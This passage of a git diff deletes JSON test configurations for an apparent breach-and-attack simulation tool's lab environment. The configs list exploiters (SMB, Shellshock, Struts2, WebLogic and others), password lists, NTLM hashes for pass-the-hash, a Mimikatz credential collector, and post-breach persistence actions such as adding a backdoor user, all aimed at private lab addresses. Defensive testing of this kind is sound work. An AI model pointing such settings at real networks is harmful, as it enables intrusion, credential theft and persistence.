"started_on_island": false - }, - "island_server": { - "command_servers": [ - "10.2.2.251:5000" - ], - "current_server": "10.2.2.251:5000" - }, - "kill_file": { - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not" - }, - "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "send_log_to_server": true - }, - "monkey": { - "alive": true, - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "self_delete_in_cleanup": true, - "serialize_config": false, - "use_file_logging": true, - "victims_max_exploit": 100, - "victims_max_find": 100 - }, - "network": { - "tcp_scanner": { - "HTTP_PORTS": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "tcp_target_ports": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001, - 8088 - ], - "tcp_scan_interval": 0, - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true - }, - "ping_scanner": { - "ping_scan_timeout": 1000 - } - }, - "testing": { - "export_monkey_telems": false - } - }, - "monkey": { - "persistent_scanning": { - "max_iterations": 1, - "retry_failed_explotation": true, - "timeout_between_iterations": 100 - }, - "post_breach": { - "PBA_linux_filename": "", - "PBA_windows_filename": "", - "custom_PBA_linux_cmd": "", - "custom_PBA_windows_cmd": "", - "post_breach_actions": [ - ] - }, - "system_info": { - "system_info_collector_classes": [ - "EnvironmentCollector", - "AwsCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector", - "AzureCollector" - ] - } - } -} diff --git a/envs/monkey_zoo/blackbox/island_configs/PERFORMANCE.conf b/envs/monkey_zoo/blackbox/island_configs/PERFORMANCE.conf deleted file mode 100644 index c57b06430..000000000 --- a/envs/monkey_zoo/blackbox/island_configs/PERFORMANCE.conf +++ /dev/null @@ -1,227 +0,0 @@ -{ - "basic": { - "credentials": { - "exploit_password_list": [ - "Xk8VDTsC", - "^NgDvY59~8", - "Ivrrw5zEzs", - "3Q=(Ge(+&w]*", - "`))jU7L(w}", - "t67TC5ZDmz" - ], - "exploit_user_list": [ - "m0nk3y" - ] - }, - "exploiters": { - "exploiter_classes": [ - "SmbExploiter", - "WmiExploiter", - "SSHExploiter", - "ShellShockExploiter", - "SambaCryExploiter", - "ElasticGroovyExploiter", - "Struts2Exploiter", - "WebLogicExploiter", - "HadoopExploiter", - "VSFTPDExploiter", - "MSSQLExploiter" - ] - } - }, - "basic_network": { - "network_analysis": { - "inaccessible_subnets": [ - "10.2.2.0/30", - "10.2.2.8/30", - "10.2.2.24/32", - "10.2.2.23/32", - "10.2.2.21/32", - "10.2.2.19/32", - "10.2.2.18/32", - "10.2.2.17/32" - ] - }, - "scope": { - "blocked_ips": [], - "depth": 2, - "local_network_scan": false, - "subnet_scan_list": [ - "10.2.2.2", - "10.2.2.3", - "10.2.2.4", - "10.2.2.5", - "10.2.2.8", - "10.2.2.9", - "10.2.1.10", - "10.2.0.11", - "10.2.0.12", - "10.2.2.11", - "10.2.2.12", - "10.2.2.14", - "10.2.2.15", - "10.2.2.16", - "10.2.2.18", - "10.2.2.19", - "10.2.2.20", - "10.2.2.21", - "10.2.2.23", - "10.2.2.24" - ] - } - }, - "internal": { - "classes": { - "finger_classes": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ] - }, - "dropper": { - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_set_date": true, - "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_try_move_first": true - }, - "exploits": { - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!" - }, - "sambacry": { - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": [ - "/", - "/mnt", - "/tmp", - "/storage", - "/export", - "/share", - "/shares", - "/home" - ], - "sambacry_shares_not_to_check": [ - "IPC$", - "print$" - ] - } - }, - "general": { - "keep_tunnel_open_time": 60, - "monkey_dir_name": "monkey_dir", - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "started_on_island": false - }, - "island_server": { - "command_servers": [ - "10.2.2.251:5000" - ], - "current_server": "10.2.2.251:5000" - }, - "kill_file": { - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not" - }, - "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "send_log_to_server": true - }, - "monkey": { - "alive": true, - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "self_delete_in_cleanup": true, - "serialize_config": false, - "use_file_logging": true, - "victims_max_exploit": 100, - "victims_max_find": 100 - }, - "network": { - "tcp_scanner": { - "HTTP_PORTS": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "tcp_target_ports": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001, - 8088 - ], - "tcp_scan_interval": 0, - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true - }, - "ping_scanner": { - "ping_scan_timeout": 1000 - } - }, - "testing": { - "export_monkey_telems": false - } - }, - "monkey": { - "persistent_scanning": { - "max_iterations": 1, - "retry_failed_explotation": true, - "timeout_between_iterations": 100 - }, - "post_breach": { - "PBA_linux_filename": "", - "PBA_windows_filename": "", - "custom_PBA_linux_cmd": "", - "custom_PBA_windows_cmd": "", - "post_breach_actions": [ - "BackdoorUser", - "CommunicateAsNewUser", - "ModifyShellStartupFiles", - "HiddenFiles", - "TrapCommand", - "ChangeSetuidSetgid", - "ScheduleJobs" - ] - }, - "system_info": { - "system_info_collector_classes": [ - "EnvironmentCollector", - "AwsCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector", - "AzureCollector" - ] - } - } -} diff --git a/envs/monkey_zoo/blackbox/island_configs/SHELLSHOCK.conf b/envs/monkey_zoo/blackbox/island_configs/SHELLSHOCK.conf deleted file mode 100644 index 82cba0b70..000000000 --- a/envs/monkey_zoo/blackbox/island_configs/SHELLSHOCK.conf +++ /dev/null @@ -1,181 +0,0 @@ -{ - "basic": { - "credentials": { - "exploit_password_list": [ - "Password1!", - "1234", - "password", - "12345678" - ], - "exploit_user_list": [ - "Administrator", - "root", - "user" - ] - }, - "exploiters": { - "exploiter_classes": [ - "ShellShockExploiter" - ] - } - }, - "basic_network": { - "network_analysis": { - "inaccessible_subnets": [] - }, - "scope": { - "blocked_ips": [], - "depth": 2, - "local_network_scan": false, - "subnet_scan_list": [ - "10.2.2.8" - ] - } - }, - "internal": { - "classes": { - "finger_classes": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ] - }, - "dropper": { - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_set_date": true, - "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_try_move_first": true - }, - "exploits": { - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!" - }, - "sambacry": { - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": [ - "/", - "/mnt", - "/tmp", - "/storage", - "/export", - "/share", - "/shares", - "/home" - ], - "sambacry_shares_not_to_check": [ - "IPC$", - "print$" - ] - } - }, - "general": { - "keep_tunnel_open_time": 60, - "monkey_dir_name": "monkey_dir", - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "started_on_island": false - }, - "island_server": { - "command_servers": [ - "10.2.2.251:5000" - ], - "current_server": "10.2.2.251:5000" - }, - "kill_file": { - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not" - }, - "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "send_log_to_server": true - }, - "monkey": { - "alive": true, - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "self_delete_in_cleanup": true, - "serialize_config": false, - "use_file_logging": true, - "victims_max_exploit": 100, - "victims_max_find": 100 - }, - "network": { - "tcp_scanner": { - "HTTP_PORTS": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "tcp_target_ports": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001, - 8088 - ], - "tcp_scan_interval": 0, - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true - }, - "ping_scanner": { - "ping_scan_timeout": 1000 - } - }, - "testing": { - "export_monkey_telems": false - } - }, - "monkey": { - "persistent_scanning": { - "max_iterations": 1, - "retry_failed_explotation": true, - "timeout_between_iterations": 100 - }, - "post_breach": { - "PBA_linux_filename": "", - "PBA_windows_filename": "", - "custom_PBA_linux_cmd": "", - "custom_PBA_windows_cmd": "", - "post_breach_actions": [] - }, - "system_info": { - "system_info_collector_classes": [ - "EnvironmentCollector", - "AwsCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector", - "AzureCollector" - ] - } - } -} diff --git a/envs/monkey_zoo/blackbox/island_configs/SMB_MIMIKATZ.conf b/envs/monkey_zoo/blackbox/island_configs/SMB_MIMIKATZ.conf deleted file mode 100644 index c14fdfd99..000000000 --- a/envs/monkey_zoo/blackbox/island_configs/SMB_MIMIKATZ.conf +++ /dev/null @@ -1,180 +0,0 @@ -{ - "basic": { - "credentials": { - "exploit_password_list": [ - "Password1!", - "Ivrrw5zEzs" - ], - "exploit_user_list": [ - "Administrator", - "m0nk3y", - "user" - ] - }, - "exploiters": { - "exploiter_classes": [ - "SmbExploiter" - ] - } - }, - "basic_network": { - "network_analysis": { - "inaccessible_subnets": [] - }, - "scope": { - "blocked_ips": [], - "depth": 2, - "local_network_scan": false, - "subnet_scan_list": [ - "10.2.2.14", - "10.2.2.15" - ] - } - }, - "internal": { - "classes": { - "finger_classes": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ] - }, - "dropper": { - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_set_date": true, - "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_try_move_first": true - }, - "exploits": { - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!" - }, - "sambacry": { - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": [ - "/", - "/mnt", - "/tmp", - "/storage", - "/export", - "/share", - "/shares", - "/home" - ], - "sambacry_shares_not_to_check": [ - "IPC$", - "print$" - ] - } - }, - "general": { - "keep_tunnel_open_time": 60, - "monkey_dir_name": "monkey_dir", - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "started_on_island": false - }, - "island_server": { - "command_servers": [ - "10.2.2.251:5000" - ], - "current_server": "10.2.2.251:5000" - }, - "kill_file": { - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not" - }, - "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "send_log_to_server": true - }, - "monkey": { - "alive": true, - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "self_delete_in_cleanup": true, - "serialize_config": false, - "use_file_logging": true, - "victims_max_exploit": 100, - "victims_max_find": 100 - }, - "network": { - "tcp_scanner": { - "HTTP_PORTS": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "tcp_target_ports": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001, - 8088 - ], - "tcp_scan_interval": 0, - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true - }, - "ping_scanner": { - "ping_scan_timeout": 1000 - } - }, - "testing": { - "export_monkey_telems": false - } - }, - "monkey": { - "persistent_scanning": { - "max_iterations": 1, - "retry_failed_explotation": true, - "timeout_between_iterations": 100 - }, - "post_breach": { - "PBA_linux_filename": "", - "PBA_windows_filename": "", - "custom_PBA_linux_cmd": "", - "custom_PBA_windows_cmd": "", - "post_breach_actions": [] - }, - "system_info": { - "system_info_collector_classes": [ - "EnvironmentCollector", - "AwsCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector", - "AzureCollector" - ] - } - } -} diff --git a/envs/monkey_zoo/blackbox/island_configs/SMB_PTH.conf b/envs/monkey_zoo/blackbox/island_configs/SMB_PTH.conf deleted file mode 100644 index 42a5245a6..000000000 --- a/envs/monkey_zoo/blackbox/island_configs/SMB_PTH.conf +++ /dev/null @@ -1,179 +0,0 @@ -{ - "basic": { - "credentials": { - "exploit_password_list": [ - "Password1!" - ], - "exploit_user_list": [ - "Administrator", - "m0nk3y", - "user" - ] - }, - "exploiters": { - "exploiter_classes": [ - "SmbExploiter" - ] - } - }, - "basic_network": { - "network_analysis": { - "inaccessible_subnets": [] - }, - "scope": { - "blocked_ips": [], - "depth": 2, - "local_network_scan": false, - "subnet_scan_list": [ - "10.2.2.15" - ] - } - }, - "internal": { - "classes": { - "finger_classes": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ] - }, - "dropper": { - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_set_date": true, - "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_try_move_first": true - }, - "exploits": { - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [ "5da0889ea2081aa79f6852294cba4a5e", - "50c9987a6bf1ac59398df9f911122c9b" ], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!" - }, - "sambacry": { - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": [ - "/", - "/mnt", - "/tmp", - "/storage", - "/export", - "/share", - "/shares", - "/home" - ], - "sambacry_shares_not_to_check": [ - "IPC$", - "print$" - ] - } - }, - "general": { - "keep_tunnel_open_time": 60, - "monkey_dir_name": "monkey_dir", - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "started_on_island": false - }, - "island_server": { - "command_servers": [ - "10.2.2.251:5000" - ], - "current_server": "10.2.2.251:5000" - }, - "kill_file": { - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not" - }, - "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "send_log_to_server": true - }, - "monkey": { - "alive": true, - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "self_delete_in_cleanup": true, - "serialize_config": false, - "use_file_logging": true, - "victims_max_exploit": 100, - "victims_max_find": 100 - }, - "network": { - "tcp_scanner": { - "HTTP_PORTS": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "tcp_target_ports": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001, - 8088 - ], - "tcp_scan_interval": 0, - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true - }, - "ping_scanner": { - "ping_scan_timeout": 1000 - } - }, - "testing": { - "export_monkey_telems": false - } - }, - "monkey": { - "persistent_scanning": { - "max_iterations": 1, - "retry_failed_explotation": true, - "timeout_between_iterations": 100 - }, - "post_breach": { - "PBA_linux_filename": "", - "PBA_windows_filename": "", - "custom_PBA_linux_cmd": "", - "custom_PBA_windows_cmd": "", - "post_breach_actions": [] - }, - "system_info": { - "system_info_collector_classes": [ - "EnvironmentCollector", - "AwsCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector", - "AzureCollector" - ] - } - } -} diff --git a/envs/monkey_zoo/blackbox/island_configs/SSH.conf b/envs/monkey_zoo/blackbox/island_configs/SSH.conf deleted file mode 100644 index b3ba08d77..000000000 --- a/envs/monkey_zoo/blackbox/island_configs/SSH.conf +++ /dev/null @@ -1,182 +0,0 @@ -{ - "basic": { - "credentials": { - "exploit_password_list": [ - "Password1!", - "12345678", - "^NgDvY59~8" - ], - "exploit_user_list": [ - "Administrator", - "m0nk3y", - "user" - ] - }, - "exploiters": { - "exploiter_classes": [ - "SSHExploiter" - ] - } - }, - "basic_network": { - "network_analysis": { - "inaccessible_subnets": [] - }, - "scope": { - "blocked_ips": [], - "depth": 2, - "local_network_scan": false, - "subnet_scan_list": [ - "10.2.2.11", - "10.2.2.12" - ] - } - }, - "internal": { - "classes": { - "finger_classes": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ] - }, - "dropper": { - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_set_date": true, - "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_try_move_first": true - }, - "exploits": { - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!" - }, - "sambacry": { - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": [ - "/", - "/mnt", - "/tmp", - "/storage", - "/export", - "/share", - "/shares", - "/home" - ], - "sambacry_shares_not_to_check": [ - "IPC$", - "print$" - ] - } - }, - "general": { - "keep_tunnel_open_time": 60, - "monkey_dir_name": "monkey_dir", - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "started_on_island": false - }, - "island_server": { - "command_servers": [ - "10.2.2.251:5000" - ], - "current_server": "10.2.2.251:5000" - }, - "kill_file": { - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not" - }, - "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "send_log_to_server": true - }, - "monkey": { - "alive": true, - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "self_delete_in_cleanup": true, - "serialize_config": false, - "use_file_logging": true, - "victims_max_exploit": 100, - "victims_max_find": 100 - }, - "network": { - "tcp_scanner": { - "HTTP_PORTS": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "tcp_target_ports": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001, - 8088 - ], - "tcp_scan_interval": 0, - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true - }, - "ping_scanner": { - "ping_scan_timeout": 1000 - } - }, - "testing": { - "export_monkey_telems": false - } - }, - "monkey": { - "persistent_scanning": { - "max_iterations": 2, - "retry_failed_explotation": true, - "timeout_between_iterations": 100 - }, - "post_breach": { - "PBA_linux_filename": "", - "PBA_windows_filename": "", - "custom_PBA_linux_cmd": "", - "custom_PBA_windows_cmd": "", - "post_breach_actions": [ - ] - }, - "system_info": { - "system_info_collector_classes": [ - "EnvironmentCollector", - "AwsCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector", - "AzureCollector" - ] - } - } -} diff --git a/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf b/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf deleted file mode 100644 index 92207e0a8..000000000 --- a/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf +++ /dev/null @@ -1,183 +0,0 @@ -{ - "basic": { - "credentials": { - "exploit_password_list": [ - "Password1!", - "1234", - "password", - "12345678" - ], - "exploit_user_list": [ - "Administrator", - "root", - "user", - "vakaris_zilius" - ] - }, - "exploiters": { - "exploiter_classes": [ - "Struts2Exploiter" - ] - } - }, - "basic_network": { - "network_analysis": { - "inaccessible_subnets": [] - }, - "scope": { - "blocked_ips": [], - "depth": 2, - "local_network_scan": false, - "subnet_scan_list": [ - "10.2.2.23", - "10.2.2.24" - ] - } - }, - "internal": { - "classes": { - "finger_classes": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ] - }, - "dropper": { - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_set_date": true, - "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_try_move_first": true - }, - "exploits": { - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!" - }, - "sambacry": { - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": [ - "/", - "/mnt", - "/tmp", - "/storage", - "/export", - "/share", - "/shares", - "/home" - ], - "sambacry_shares_not_to_check": [ - "IPC$", - "print$" - ] - } - }, - "general": { - "keep_tunnel_open_time": 60, - "monkey_dir_name": "monkey_dir", - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "started_on_island": false - }, - "island_server": { - "command_servers": [ - "10.2.2.251:5000" - ], - "current_server": "10.2.2.251:5000" - }, - "kill_file": { - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not" - }, - "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "send_log_to_server": true - }, - "monkey": { - "alive": true, - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "self_delete_in_cleanup": true, - "serialize_config": false, - "use_file_logging": true, - "victims_max_exploit": 100, - "victims_max_find": 100 - }, - "network": { - "tcp_scanner": { - "HTTP_PORTS": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "tcp_target_ports": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001, - 8088 - ], - "tcp_scan_interval": 0, - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true - }, - "ping_scanner": { - "ping_scan_timeout": 1000 - } - }, - "testing": { - "export_monkey_telems": false - } - }, - "monkey": { - "persistent_scanning": { - "max_iterations": 1, - "retry_failed_explotation": true, - "timeout_between_iterations": 100 - }, - "post_breach": { - "PBA_linux_filename": "", - "PBA_windows_filename": "", - "custom_PBA_linux_cmd": "", - "custom_PBA_windows_cmd": "", - "post_breach_actions": [] - }, - "system_info": { - "system_info_collector_classes": [ - "EnvironmentCollector", - "AwsCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector", - "AzureCollector" - ] - } - } -} diff --git a/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf b/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf deleted file mode 100644 index fff01c1ff..000000000 --- a/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf +++ /dev/null @@ -1,188 +0,0 @@ -{ - "basic": { - "credentials": { - "exploit_password_list": [ - "Password1!", - "3Q=(Ge(+&w]*", - "`))jU7L(w}", - "t67TC5ZDmz", - "12345678" - ], - "exploit_user_list": [ - "Administrator", - "m0nk3y", - "user" - ] - }, - "exploiters": { - "exploiter_classes": [ - "SmbExploiter", - "WmiExploiter", - "SSHExploiter", - "MSSQLExploiter" - ] - } - }, - "basic_network": { - "network_analysis": { - "inaccessible_subnets": [] - }, - "scope": { - "blocked_ips": [], - "depth": 3, - "local_network_scan": false, - "subnet_scan_list": [ - "10.2.2.9", - "10.2.1.10", - "10.2.0.11", - "10.2.0.12" - ] - } - }, - "internal": { - "classes": { - "finger_classes": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ] - }, - "dropper": { - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_set_date": true, - "dropper_target_path_linux": "/tmp/monkey", - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_try_move_first": true - }, - "exploits": { - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "general": { - "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", - "remote_user_pass": "Password1!" - }, - "sambacry": { - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": [ - "/", - "/mnt", - "/tmp", - "/storage", - "/export", - "/share", - "/shares", - "/home" - ], - "sambacry_shares_not_to_check": [ - "IPC$", - "print$" - ] - } - }, - "general": { - "keep_tunnel_open_time": 60, - "monkey_dir_name": "monkey_dir", - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "started_on_island": false - }, - "island_server": { - "command_servers": [ - "10.2.2.251:5000" - ], - "current_server": "10.2.2.251:5000" - }, - "kill_file": { - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not" - }, - "logging": { - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "send_log_to_server": true - }, - "monkey": { - "alive": true, - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "self_delete_in_cleanup": true, - "serialize_config": false, - "use_file_logging": true, - "victims_max_exploit": 100, - "victims_max_find": 100 - }, - "network": { - "tcp_scanner": { - "HTTP_PORTS": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "tcp_target_ports": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001, - 8088 - ], - "tcp_scan_interval": 0, - "tcp_scan_timeout": 3000, - "tcp_scan_get_banner": true - }, - "ping_scanner": { - "ping_scan_timeout": 1000 - } - }, - "testing": { - "export_monkey_telems": false - } - }, - "monkey": { - "persistent_scanning": { - "max_iterations": 1, - "retry_failed_explotation": true, - "timeout_between_iterations": 100 - }, - "post_breach": { - "PBA_linux_filename": "", - "PBA_windows_filename": "", - "custom_PBA_linux_cmd": "", - "custom_PBA_windows_cmd": "", - "post_breach_actions": [] - }, - "system_info": { - "system_info_collector_classes": [ - "EnvironmentCollector", - "AwsCollector", - "HostnameCollector", - "ProcessListCollector", - "MimikatzCollector", - "AzureCollector" - ] - } - } -} diff --git a/envs/monkey_zoo/blackbox/island_configs/WEBLOGIC.conf b/envs/monkey_zoo/blackbox/island_configs/WEBLOGIC.conf deleted file mode 100644 index dba3e9639..000000000 --- a/envs/monkey_zoo/blackbox/island_configs/WEBLOGIC.conf +++ /dev/null @@ -1,185 +0,0 @@ -{ - "basic": { - "credentials": { - "exploit_password_list": [ - "root", - "123456", - "password", - "123456789", - "qwerty", - "111111", - "iloveyou" - ], - "exploit_user_list": [ - "Administrator", - "root", - "user" - ] - }, - "exploiters": { - "exploiter_classes": [ - "WebLogicExploiter" - ] - } - }, - "basic_network": { - "network_analysis": { - "inaccessible_subnets": [] - }, - "scope": { - 